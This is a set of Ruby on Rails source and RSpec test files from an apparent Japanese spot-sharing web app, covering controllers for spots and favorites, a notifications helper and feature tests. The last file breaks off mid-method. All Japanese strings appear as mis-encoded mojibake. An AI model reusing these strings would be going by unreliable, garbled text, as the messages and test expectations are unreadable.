def notification_form(notification) @server = notification.server @comment = nil @server_comment = notification.comment_id case notification.kind when 'follow' then tag.a(notification.server.nickname, href: user_path(@server)) + "ใŒใ‚ใชใŸใ‚’ใƒ•ใ‚ฉใƒญใƒผใ—ใพใ—ใŸ" when 'favorite' then tag.a(notification.server.nickname, href: user_path(@server)) + "ใŒ" + tag.a("ใ‚ใชใŸใฎๆŠ•็จฟ", href: spot_path(notification.spot_id)) + "ใซใ„ใ„ใญใ—ใพใ—ใŸ" when 'comment' then tag.a(@server.nickname, href: user_path(@server)) + "ใŒ" + tag.a("ใ‚ใชใŸใฎๆŠ•็จฟ", href: spot_path(notification.spot_id)) + "ใซใ‚ณใƒกใƒณใƒˆใ—ใพใ—ใŸ" end end def uncheck_notifications @notifications = current_user.passive_notifications.where(check: false) end end ``` 03_finishing_touches_spec.rb ```require 'rails_helper' describe '[STEP3] ไป•ไธŠใ’ใฎใƒ†ใ‚นใƒˆ' do let(:user) { create(:user) } let!(:other_user) { create(:user) } let!(:spot) { create(:spot, user: user) } let!(:other_spot) { create(:spot, user: other_user) } describe 'ใ‚ตใ‚ฏใ‚ปใ‚นใƒกใƒƒใ‚ปใƒผใ‚ธใฎใƒ†ใ‚นใƒˆ' do subject { page } it 'ใƒฆใƒผใ‚ถๆ–ฐ่ฆ็™ป้ŒฒๆˆๅŠŸๆ™‚' do visit new_user_registration_path fill_in 'user[fullname]', with: Faker::Lorem.characters(number: 10) fill_in 'user[nickname]', with: Faker::Lorem.characters(number: 10) fill_in 'user[email]', with: 'a' + user.email choose('user_sex_male') select '2000', from: 'user_birthday_1i' select '1', from: 'user_birthday_2i' select '1', from: 'user_birthday_3i' select 'ๆฑไบฌ้ƒฝ', from: 'user_prefecture' fill_in 'user[city]', with: Faker::Lorem.characters(number: 10) fill_in 'user[password]', with: 'password' fill_in 'user[password_confirmation]', with: 'password' click_button 'ๆ–ฐ่ฆ็™ป้Œฒ' is_expected.to have_content 'ใ‚ˆใ†ใ“ใ๏ผ ใ‚ขใ‚ซใ‚ฆใƒณใƒˆใŒ็™ป้Œฒใ•ใ‚Œใพใ—ใŸ' end it 'ใƒฆใƒผใ‚ถใƒญใ‚ฐใ‚คใƒณๆˆๅŠŸๆ™‚' do visit new_user_session_path fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' is_expected.to have_content 'ใƒญใ‚ฐใ‚คใƒณใ—ใพใ—ใŸ' end it 'ใƒฆใƒผใ‚ถใƒญใ‚ฐใ‚ขใ‚ฆใƒˆๆˆๅŠŸๆ™‚' do visit new_user_session_path fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' logout_link = find_all('a')[9].native.inner_text logout_link = logout_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '') click_link logout_link is_expected.to have_content 'ใƒญใ‚ฐใ‚ขใ‚ฆใƒˆใ—ใพใ—ใŸ' end it 'ใƒฆใƒผใ‚ถใฎใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซๆƒ…ๅ ฑๆ›ดๆ–ฐๆˆๅŠŸๆ™‚' do visit new_user_session_path fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' visit edit_user_path(user) click_button 'ๆ›ดๆ–ฐใ™ใ‚‹' is_expected.to have_content 'ใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซใ‚’ๆ›ดๆ–ฐใ—ใพใ—ใŸ' end it 'ๆŠ•็จฟใƒ‡ใƒผใ‚ฟใฎๆ–ฐ่ฆๆŠ•็จฟๆˆๅŠŸๆ™‚' do visit new_user_session_path fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' visit new_spot_path fill_in 'spot[title]', with: Faker::Lorem.characters(number: 10) select 'ๆฑไบฌ้ƒฝ', from: 'spot_prefecture' fill_in 'spot[city]', with: Faker::Lorem.characters(number: 10) select '2021', from: 'spot_visited_day_1i' select '1', from: 'spot_visited_day_2i' select '1', from: 'spot_visited_day_3i' find('input[@name="spot[rate]"]', visible: false).set('5') attach_file "spot[spot_image1]", "app/assets/images/image1.jpg" attach_file "spot[spot_image2]", "app/assets/images/image2.jpg" attach_file "spot[spot_image3]", "app/assets/images/image3.jpg" fill_in 'spot[content]', with: Faker::Lorem.characters(number: 50) click_button 'ๆŠ•็จฟใ™ใ‚‹' is_expected.to have_content 'ใ‚นใƒใƒƒใƒˆใ‚’ๆŠ•็จฟใ—ใพใ—ใŸ' end it 'ๆŠ•็จฟใƒ‡ใƒผใ‚ฟใฎๆ›ดๆ–ฐๆˆๅŠŸๆ™‚' do visit new_user_session_path fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' visit edit_spot_path(spot) click_button 'ๆ›ดๆ–ฐใ™ใ‚‹' is_expected.to have_content 'ใ‚นใƒใƒƒใƒˆใ‚’ๆ›ดๆ–ฐใ—ใพใ—ใŸ' end end describe 'ๅ‡ฆ็†ๅคฑๆ•—ๆ™‚ใฎใƒ†ใ‚นใƒˆ' do context 'ใƒฆใƒผใ‚ถๆ–ฐ่ฆ็™ป้Œฒๅคฑๆ•—: ่ช•็”Ÿๆ—ฅใ‚’ๆœชๆฅใฎๆ—ฅไป˜ใซใ™ใ‚‹' do before do visit new_user_registration_path @fullname = Faker::Lorem.characters(number: 10) @nickname = Faker::Lorem.characters(number: 10) @email = 'a' + user.email @sex = 'user_sex_male' @prefecture = 'ๆฑไบฌ้ƒฝ' @city = Faker::Lorem.characters(number: 10) fill_in 'user[fullname]', with: @fullname fill_in 'user[nickname]', with: @nickname fill_in 'user[email]', with: @email choose(@sex) select '2021', from: 'user_birthday_1i' select '12', from: 'user_birthday_2i' select '31', from: 'user_birthday_3i' select @prefecture, from: 'user_prefecture' fill_in 'user[city]', with: @city fill_in 'user[password]', with: 'password' fill_in 'user[password_confirmation]', with: 'password' end it 'ๆ–ฐ่ฆ็™ป้Œฒใ•ใ‚Œใชใ„' do expect { click_button 'ๆ–ฐ่ฆ็™ป้Œฒ' }.not_to change(User.all, :count) end it 'ๆ–ฐ่ฆ็™ป้Œฒ็”ป้ขใ‚’่กจ็คบใ—ใฆใŠใ‚Šใ€ใƒ•ใ‚ฉใƒผใƒ ใฎๅ†…ๅฎนใŒๆญฃใ—ใ„' do click_button 'ๆ–ฐ่ฆ็™ป้Œฒ' expect(page).to have_content 'ๆ–ฐ่ฆ็™ป้Œฒ' expect(page).to have_field 'user[fullname]', with: @fullname expect(page).to have_field 'user[nickname]', with: @nickname expect(page).to have_field 'user[email]', with: @email expect(page).to have_checked_field @sex expect(page).to have_field 'user[birthday(1i)]', with: 2021 expect(page).to have_field 'user[birthday(2i)]', with: 12 expect(page).to have_field 'user[birthday(3i)]', with: 31 expect(page).to have_select('้ƒฝ้“ๅบœ็œŒ', selected: @prefecture) expect(page).to have_field 'user[city]', with: @city end it 'ใƒใƒชใƒ‡ใƒผใ‚ทใƒงใƒณใ‚จใƒฉใƒผใŒ่กจ็คบใ•ใ‚Œใ‚‹' do click_button 'ๆ–ฐ่ฆ็™ป้Œฒ' expect(page).to have_content "่ช•็”Ÿๆ—ฅใŒ็„กๅŠนใชๆ—ฅไป˜ใงใ™" end end context 'ใƒฆใƒผใ‚ถใฎใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซๆƒ…ๅ ฑ็ทจ้›†ๅคฑๆ•—: ่ช•็”Ÿๆ—ฅใ‚’ๆœชๆฅใฎๆ—ฅไป˜ใซใ™ใ‚‹' do before do @user_old_birthday = user.birthday visit new_user_session_path fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' visit edit_user_path(user) select '2021', from: 'user_birthday_1i' select '12', from: 'user_birthday_2i' select '31', from: 'user_birthday_3i' click_button 'ๆ›ดๆ–ฐใ™ใ‚‹' end it 'ๆ›ดๆ–ฐใ•ใ‚Œใชใ„' do expect(user.reload.birthday).to eq @user_old_birthday end it 'ใƒฆใƒผใ‚ถ็ทจ้›†็”ป้ขใ‚’่กจ็คบใ—ใฆใŠใ‚Šใ€ใƒ•ใ‚ฉใƒผใƒ ใฎๅ†…ๅฎนใŒๆญฃใ—ใ„' do expect(page).to have_field 'user[fullname]', with: user.fullname expect(page).to have_field 'user[nickname]', with: user.nickname expect(page).to have_field 'user[email]', with: user.email expect(page).to have_checked_field 'edit_user_sex_male' expect(page).to have_field 'user[birthday(1i)]', with: 2021 expect(page).to have_field 'user[birthday(2i)]', with: 12 expect(page).to have_field 'user[birthday(3i)]', with: 31 expect(page).to have_select('้ƒฝ้“ๅบœ็œŒ', selected: 'ๆฑไบฌ้ƒฝ') expect(page).to have_field 'user[city]', with: user.city expect(page).to have_selector("img[src$='profile_image.jpeg']") expect(page).to have_field 'user[introduction]', with: user.introduction end it 'ใƒใƒชใƒ‡ใƒผใ‚ทใƒงใƒณใ‚จใƒฉใƒผใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content "่ช•็”Ÿๆ—ฅใŒ็„กๅŠนใชๆ—ฅไป˜ใงใ™" end end context 'ๆŠ•็จฟใƒ‡ใƒผใ‚ฟใฎๆ–ฐ่ฆๆŠ•็จฟๅคฑๆ•—: ใ‚ฟใ‚คใƒˆใƒซใ‚’็ฉบใซใ™ใ‚‹' do before do visit new_user_session_path fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' visit new_spot_path @city = Faker::Lorem.characters(number: 10) @content = Faker::Lorem.characters(number: 50) select 'ๆฑไบฌ้ƒฝ', from: 'spot_prefecture' fill_in 'spot[city]', with: @city select '2021', from: 'spot_visited_day_1i' select '1', from: 'spot_visited_day_2i' select '1', from: 'spot_visited_day_3i' find('input[@name="spot[rate]"]', visible: false).set('5') fill_in 'spot[content]', with: @content end it 'ๆŠ•็จฟใŒไฟๅญ˜ใ•ใ‚Œใชใ„' do expect { click_button 'ๆŠ•็จฟใ™ใ‚‹' }.not_to change(Spot.all, :count) end it 'ๆ–ฐ่ฆๆŠ•็จฟใƒ•ใ‚ฉใƒผใƒ ใฎๅ†…ๅฎนใŒๆญฃใ—ใ„' do click_button 'ๆŠ•็จฟใ™ใ‚‹' expect(find_field('spot[title]').text).to be_blank expect(page).to have_select('้ƒฝ้“ๅบœ็œŒ', selected: 'ๆฑไบฌ้ƒฝ') expect(page).to have_field 'spot[city]', with: @city expect(page).to have_field 'spot[visited_day(1i)]', with: 2021 expect(page).to have_field 'spot[visited_day(2i)]', with: 1 expect(page).to have_field 'spot[visited_day(3i)]', with: 1 expect(page).to have_field 'spot[content]', with: @content end it 'ใƒใƒชใƒ‡ใƒผใ‚ทใƒงใƒณใ‚จใƒฉใƒผใŒ่กจ็คบใ•ใ‚Œใ‚‹' do click_button 'ๆŠ•็จฟใ™ใ‚‹' expect(page).to have_content "ใ‚ฟใ‚คใƒˆใƒซใ‚’ๅ…ฅๅŠ›ใ—ใฆใใ ใ•ใ„" end end context 'ๆŠ•็จฟใƒ‡ใƒผใ‚ฟใฎๆ›ดๆ–ฐๅคฑๆ•—: titleใ‚’็ฉบใซใ™ใ‚‹' do before do visit new_user_session_path fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' visit edit_spot_path(spot) @spot_old_title = spot.title fill_in 'spot[title]', with: '' click_button 'ๆ›ดๆ–ฐใ™ใ‚‹' end it 'ใ‚นใƒใƒƒใƒˆใŒๆ›ดๆ–ฐใ•ใ‚Œใชใ„' do expect(spot.reload.title).to eq @spot_old_title end it 'ใ‚นใƒใƒƒใƒˆ็ทจ้›†็”ป้ขใ‚’่กจ็คบใ—ใฆใŠใ‚Šใ€ใƒ•ใ‚ฉใƒผใƒ ใฎๅ†…ๅฎนใŒๆญฃใ—ใ„' do expect(current_path).to eq '/spots/' + spot.id.to_s expect(find_field('spot[title]').text).to be_blank expect(page).to have_select('้ƒฝ้“ๅบœ็œŒ', selected: 'ๆฑไบฌ้ƒฝ') expect(page).to have_field 'spot[city]', with: spot.city expect(page).to have_field 'spot[visited_day(1i)]', with: 2020 expect(page).to have_field 'spot[visited_day(2i)]', with: 1 expect(page).to have_field 'spot[visited_day(3i)]', with: 1 expect(page).to have_selector("img[src$='spot_image1.jpeg']") expect(page).to have_selector("img[src$='spot_image2.jpeg']") expect(page).to have_selector("img[src$='spot_image3.jpeg']") expect(page).to have_field 'spot[content]', with: spot.content end it 'ใ‚จใƒฉใƒผใƒกใƒƒใ‚ปใƒผใ‚ธใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content 'ใ‚ฟใ‚คใƒˆใƒซใ‚’ๅ…ฅๅŠ›ใ—ใฆใใ ใ•ใ„' end end end describe 'ใƒญใ‚ฐใ‚คใƒณใ—ใฆใ„ใชใ„ๅ ดๅˆใฎใ‚ขใ‚ฏใ‚ปใ‚นๅˆถ้™ใฎใƒ†ใ‚นใƒˆ: ใ‚ขใ‚ฏใ‚ปใ‚นใงใใšใ€ๆ–ฐ่ฆ็™ป้Œฒ็”ป้ขใพใŸใฏใƒˆใƒƒใƒ—็”ป้ขใซ้ท็งปใ™ใ‚‹' do subject { current_path } it 'ใƒฆใƒผใ‚ถไธ€่ฆง็”ป้ข' do visit users_path is_expected.to eq '/users/sign_up' end it 'ใƒฆใƒผใ‚ถ่ฉณ็ดฐ็”ป้ข' do visit user_path(user) is_expected.to eq '/users/sign_up' end it 'ใƒฆใƒผใ‚ถๆƒ…ๅ ฑ็ทจ้›†็”ป้ข' do visit edit_user_path(user) is_expected.to eq '/' end it 'ๆŠ•็จฟ็ทจ้›†็”ป้ข' do visit edit_spot_path(spot) is_expected.to eq '/' end it 'ใ‚ญใƒผใƒฏใƒผใƒ‰ไธ€่ฆง็”ป้ข' do visit keywords_path is_expected.to eq '/users/sign_up' end it 'ใƒ•ใ‚ฉใƒญใƒผไธ€่ฆง็”ป้ข' do visit following_user_path(user) is_expected.to eq '/users/sign_up' end it 'ใƒ•ใ‚ฉใƒญใƒฏใƒผไธ€่ฆง็”ป้ข' do visit followers_user_path(user) is_expected.to eq '/users/sign_up' end it 'ใƒฉใƒณใ‚ญใƒณใ‚ฐ(ใ‚นใƒใƒƒใƒˆ)็”ป้ข' do visit spot_favorite_ranking_path is_expected.to eq '/users/sign_up' end it 'ใƒฉใƒณใ‚ญใƒณใ‚ฐ(ใƒฆใƒผใ‚ถใƒผ)็”ป้ข' do visit user_favorite_ranking_path is_expected.to eq '/users/sign_up' end end describe 'ไป–ไบบใฎ็”ป้ขใฎใƒ†ใ‚นใƒˆ' do before do visit new_user_session_path fill_in 'user[email]', with: user.email fill_in 'user[password]', with: user.password click_button 'ใƒญใ‚ฐใ‚คใƒณ' end describe 'ไป–ไบบใฎๆŠ•็จฟ่ฉณ็ดฐ็”ป้ขใฎใƒ†ใ‚นใƒˆ' do before do visit spot_path(other_spot) end context '่กจ็คบๅ†…ๅฎนใฎ็ขบ่ช' do it 'URLใŒๆญฃใ—ใ„' do expect(current_path).to eq '/spots/' + other_spot.id.to_s end it 'ใ‚นใƒใƒƒใƒˆใฎใ‚ฟใ‚คใƒˆใƒซใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_spot.title end it 'ใ‚นใƒใƒƒใƒˆใฎ้ƒฝ้“ๅบœ็œŒใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_spot.prefecture end it 'ใ‚นใƒใƒƒใƒˆใฎๅธ‚ๅŒบ็”บๆ‘ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_spot.city end it 'ใ‚นใƒใƒƒใƒˆใฎๆŠ•็จฟๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_spot.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ใ‚นใƒใƒƒใƒˆใฎๆฅ่จชๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_spot.visited_day.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ใ‚นใƒใƒƒใƒˆใฎ่ฉ•ไพกใŒ่กจ็คบใ•ใ‚Œใ‚‹', js: true do expect(page).to have_content other_spot.rate sleep 3 end it 'ใ‚นใƒใƒƒใƒˆใฎใ„ใ„ใญใƒœใ‚ฟใƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_link '', href: spot_favorites_path(other_spot) end it '่‡ชๅˆ†ใฎใ‚นใƒใƒƒใƒˆใฎใ„ใ„ใญๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_spot.favorites.count end it 'ใ‚นใƒใƒƒใƒˆใฎ็”ปๅƒ(1ๆžš็›ฎ)ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_selector("img[src$='spot_image1.jpeg']") expect(page).to have_selector("img[src$='spot_image2.jpeg']") expect(page).to have_selector("img[src$='spot_image3.jpeg']") end it 'ใ‚นใƒใƒƒใƒˆใฎๅ†…ๅฎนใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_spot.content end it 'ๆŠ•็จฟใฎ็ทจ้›†ใƒชใƒณใ‚ฏใŒ่กจ็คบใ•ใ‚Œใชใ„' do expect(page).not_to have_link '็ทจ้›†ใ™ใ‚‹' end it 'ๆŠ•็จฟใฎๅ‰Š้™คใƒชใƒณใ‚ฏใŒ่กจ็คบใ•ใ‚Œใชใ„' do expect(page).not_to have_link 'ๅ‰Š้™คใ™ใ‚‹' end end context 'ใ‚ตใ‚คใƒ‰ใƒใƒผใฎ็ขบ่ช' do it 'ใ€ŒๆŠ•็จฟ่€…ใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซใ€ใจ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_content 'ๆŠ•็จฟ่€…ใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซ' end it 'ไป–ไบบใฎใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซ็”ปๅƒใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_selector("img[src$='profile_image.jpeg']") end it 'ไป–ไบบใฎใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_user.nickname end it 'ไป–ไบบใฎๆ€งๅˆฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_user.sex end it 'ไป–ไบบใฎๅนด้ฝขใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_user.age end it 'ไป–ไบบใฎไฝๆ‰€ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_user.prefecture expect(page).to have_content other_user.city end it '่‡ชๅˆ†ใฎ่‡ชๅทฑ็ดนไป‹ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_user.introduction end it 'ใ€Œใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซใ‚’ใฟใ‚‹ใ€(ใƒฆใƒผใ‚ถใƒผ่ฉณ็ดฐ็”ป้ขใธใฎใƒชใƒณใ‚ฏ)ใŒๅญ˜ๅœจใ™ใ‚‹' do expect(page).to have_link 'ใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซใ‚’ใฟใ‚‹', href: user_path(other_user) end end end context 'ไป–ไบบใฎๆŠ•็จฟ็ทจ้›†็”ป้ข' do it '้ท็งปใงใใšใ€ใƒˆใƒƒใƒ—็”ป้ขใซใƒชใƒ€ใ‚คใƒฌใ‚ฏใƒˆใ•ใ‚Œใ‚‹' do visit edit_spot_path(other_spot) expect(current_path).to eq '/' end end describe 'ไป–ไบบใฎใƒฆใƒผใ‚ถ่ฉณ็ดฐ็”ป้ขใฎใƒ†ใ‚นใƒˆ' do before do visit user_path(other_user) end context '่กจ็คบใฎ็ขบ่ช' do it 'ใ€Œ(ไป–ไบบใฎใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ๅ) ใ•ใ‚“ใ€ใจ่กจ็คบใ•ใ‚Œใฆใ„ใ‚‹' do expect(page).to have_content "#{other_user.nickname} ใ•ใ‚“" end it 'ไป–ไบบใฎใƒ—ใƒญใƒ•ใ‚ฃใƒผใƒซ็”ปๅƒใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_selector("img[src$='profile_image.jpeg']") end it 'ไป–ไบบใฎใƒ‹ใƒƒใ‚ฏใƒใƒผใƒ ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_user.nickname end it 'ไป–ไบบใฎๆ€งๅˆฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_user.sex end it 'ไป–ไบบใฎๅนด้ฝขใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_user.age end it 'ไป–ไบบใฎไฝๆ‰€ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_user.prefecture expect(page).to have_content other_user.city end it 'ไป–ไบบใฎ่‡ชๅทฑ็ดนไป‹ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_user.introduction end it 'ไป–ไบบใฎใƒ•ใ‚ฉใƒญใƒผๆ•ฐใŒใใ‚Œใžใ‚Œ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_user.following.count end it 'ไป–ไบบใฎใƒ•ใ‚ฉใƒญใƒฏใƒผๆ•ฐใŒใใ‚Œใžใ‚Œ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_user.followers.count end it 'ไป–ไบบใฎใ‚นใƒใƒƒใƒˆๆ•ฐใŒใใ‚Œใžใ‚Œ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_user.spots.count end it 'ไป–ไบบใฎ็ทใ„ใ„ใญๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do user = User.find(other_user.id) user_all_spots = user.spots user_all_favorites_count = 0 user_all_spots.each do |spot| user_all_favorites_count += spot.favorites.count end expect(page).to have_content user_all_favorites_count end it 'ใ€Œใƒ•ใ‚ฉใƒญใƒผใ™ใ‚‹ใ€ใฎใƒœใ‚ฟใƒณใŒๅญ˜ๅœจใ™ใ‚‹' do expect(page).to have_button 'ใƒ•ใ‚ฉใƒญใƒผใ™ใ‚‹' end end context 'ใ‚ตใ‚คใƒ‰ใƒใƒผใฎ็ขบ่ช' do it 'URLใŒๆญฃใ—ใ„' do expect(current_path).to eq '/users/' + other_user.id.to_s end it 'ใ‚นใƒใƒƒใƒˆไธ€่ฆงใซไป–ไบบใฎใ‚นใƒใƒƒใƒˆใฎ็”ปๅƒ(1ๆžš็›ฎ)ใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_selector("img[src$='spot_image1.jpeg']") end it 'ใ‚นใƒใƒƒใƒˆไธ€่ฆงใซไป–ไบบใฎใ‚นใƒใƒƒใƒˆใฎใ‚ฟใ‚คใƒˆใƒซใŒ่กจ็คบใ•ใ‚Œใ€ใƒชใƒณใ‚ฏใŒๆญฃใ—ใ„' do expect(page).to have_link other_spot.title, href: spot_path(other_spot) end it 'ใ‚นใƒใƒƒใƒˆไธ€่ฆงใซไป–ไบบใฎใ‚นใƒใƒƒใƒˆใฎๆ‰€ๅœจๅœฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_spot.prefecture expect(page).to have_content other_spot.city end it 'ใ‚นใƒใƒƒใƒˆไธ€่ฆงใซไป–ไบบใฎใ‚นใƒใƒƒใƒˆใฎๆŠ•็จฟๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_spot.created_at.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ใ‚นใƒใƒƒใƒˆไธ€่ฆงใซไป–ไบบใฎใ‚นใƒใƒƒใƒˆใฎๆฅ่จชๆ—ฅใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_spot.visited_day.strftime("%Yๅนด%-mๆœˆ%-dๆ—ฅ") end it 'ใ‚นใƒใƒƒใƒˆไธ€่ฆงใซไป–ไบบใฎใ‚นใƒใƒƒใƒˆใฎ่ฉ•ไพกใŒ่กจ็คบใ•ใ‚Œใ‚‹', js: true do expect(page).to have_content other_spot.rate sleep 3 end it 'ไป–ไบบใฎใ‚นใƒใƒƒใƒˆใฎใ„ใ„ใญใƒœใ‚ฟใƒณใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_link '', href: spot_favorites_path(other_spot) end it 'ไป–ไบบใฎใ‚นใƒใƒƒใƒˆใฎใ„ใ„ใญๆ•ฐใŒ่กจ็คบใ•ใ‚Œใ‚‹' do expect(page).to have_content other_spot.favorites.count end it '่‡ชๅˆ†ใฎใ‚นใƒใƒƒใƒˆใฎใ‚ฟใ‚คใƒˆใƒซใฏ่กจ็คบใ•ใ‚Œใชใ„' do expect(page).not_to have_link spot.title, href: spot_path(spot) end end end context 'ไป–ไบบใฎใƒฆใƒผใ‚ถๆƒ…ๅ ฑ็ทจ้›†็”ป้ข' do it '้ท็งปใงใใšใ€ใƒˆใƒƒใƒ—็”ป้ขใซใƒชใƒ€ใ‚คใƒฌใ‚ฏใƒˆใ•ใ‚Œใ‚‹' do visit edit_user_path(other_user) expect(current_path).to eq '/' end end end end ``` spots_controller.rb ```class SpotsController < ApplicationController before_action :authenticate_user!, { only: [:new, :create] } before_action :baria_user, { only: [:edit, :update, :destroy] } def new @spot = Spot.new end def create @spot = Spot.new(spot_params) @spot.user_id = current_user.id @keyword_list = params[:spot][:keyword].split(nil) if @spot.save @spot.save_keyword(@keyword_list) flash[:notice] = "ใ‚นใƒใƒƒใƒˆใ‚’ๆŠ•็จฟใ—ใพใ—ใŸ" redirect_to spot_path(@spot.id) else render :new end end def show @spot = Spot.includes(:comments, :keywords).find(params[:id]) @user = @spot.user @spot_keywords = @spot.keywords @comments = @spot.comments.includes(:user) @comment = Comment.new @cookies = cookies[:favorite_spot_id] end def index @q = Spot.ransack(params[:q]) @q.sorts = 'created_at desc' if @q.sorts.empty? @spots = @q.result.page(params[:page]).includes(:favorites) @cookies = cookies[:favorite_spot_id] end def edit @spot = Spot.find(params[:id]) @keyword_list = @spot.keywords.pluck(:keyword).join(nil) end def update @spot = Spot.find(params[:id]) @keyword_list = params[:spot][:keyword].split(nil) if @spot.update(spot_params) @spot.save_keyword(@keyword_list) flash[:notice] = "ใ‚นใƒใƒƒใƒˆใ‚’ๆ›ดๆ–ฐใ—ใพใ—ใŸ" redirect_to spot_path(@spot.id) else render :edit end end def destroy @spot = Spot.find(params[:id]) @spot.destroy flash[:notice] = "ใ‚นใƒใƒƒใƒˆใ‚’ๅ‰Š้™คใ—ใพใ—ใŸ" redirect_to user_path(current_user) end private def spot_params params.require(:spot).permit(:title, :prefecture, :city, :visited_day, :rate, :spot_image1, :spot_image2, :spot_image3, :content) end def baria_user if current_user.nil? || Spot.find(params[:id]).user.id.to_i != current_user.id flash[:alert] = "ๆจฉ้™ใŒใ‚ใ‚Šใพใ›ใ‚“" redirect_to top_path end end end ``` favorites_controller.rb ```class FavoritesController < ApplicationController def create @spot = Spot.find(params[:spot_id]) if current_user.nil? if cookies[:favorite_spot_id].nil? cookies.permanent[:favorite_spot_id] = @spot.id.to_s else cookies.permanent[:favorite_spot_id] = cookies.permanent[:favorite_spot_id] + "," + @spot.id.to_s end Favorite.create(user_id: nil, spot_id: @spot.id) @favorites_count = @spot.favorites.count @cookies = cookies[:favorite_spot_id] else @favorite = current_user.favorites.new(spot_id: @spot.id) @favorite.save @favorites_count = @spot.favorites.count end @user = @spot.user @spots = @user.spots.page(params[:page]).reverse_order @user_all_spots = @user.spots fav_count = @user_all_spots.joins(:favorites).group("spots.user_id").count("favorites.id") @user_all_favorites_count = fav_count.present? ? fav_count.fetch(@user.id) : 0 if current_user.present? @spot.create_notification_by(current_user) respond_to do |format| format.html {redirect_to request.referrer} format.js end end end def destroy @spot = Spot.find(params[:spot_id]) if current_user.nil? else @favorite = current_user.favorites.find_by(spot_id: @spot.id) @favorite.destroy end @user = @spot.user @spots = @user.spots.page(params[:page]).reverse_order @favorites_count = @spot.favorites.count @user_all_spots = @user.spots fav_count = @user_all_spots.joins(:favorites).group("spots.user_id").count("favorites.id") @user_all_favorites_count = fav_count.present? ? fav_count.fetch(@user.id) : 0 end end ``` follow_relationship_spec.rb ```require 'rails_helper' require 'shoulda/matchers' RSpec.describe 'follow_relationshipใƒขใƒ‡ใƒซใฎใƒ†ใ‚นใƒˆ', type: :model do subject { active } let(:user) { create(:user) } let(:other_user) { create(:other_user) } let(:active) { user.active_relationships.build(followed_id: other_user.id) } # ใƒชใƒฌใƒผใ‚ทใƒงใƒณใ‚ทใƒƒใƒ—ใฎๆœ‰ๅŠนๆ€ง it { should be_valid } describe 'ใƒใƒชใƒ‡ใƒผใ‚ทใƒงใƒณใฎใƒ†ใ‚นใƒˆ' do context 'followed_idใŒๅญ˜ๅœจใ—ใฆใ„ใ‚‹' do it { is_expected.to validate_presence_of :followed_id } end context 'follower_idใŒๅญ˜ๅœจใ—ใฆใ„ใ‚‹' do it { is_expected.to validate_presence_of :follower_id } end end end ``` users_controller.rb ```class UsersController < ApplicationController before_action :authenticate_user!, { only: [:show, :index, :following, :followers] } before_action :baria_user, { only: [:edit, :update] } def show @user = 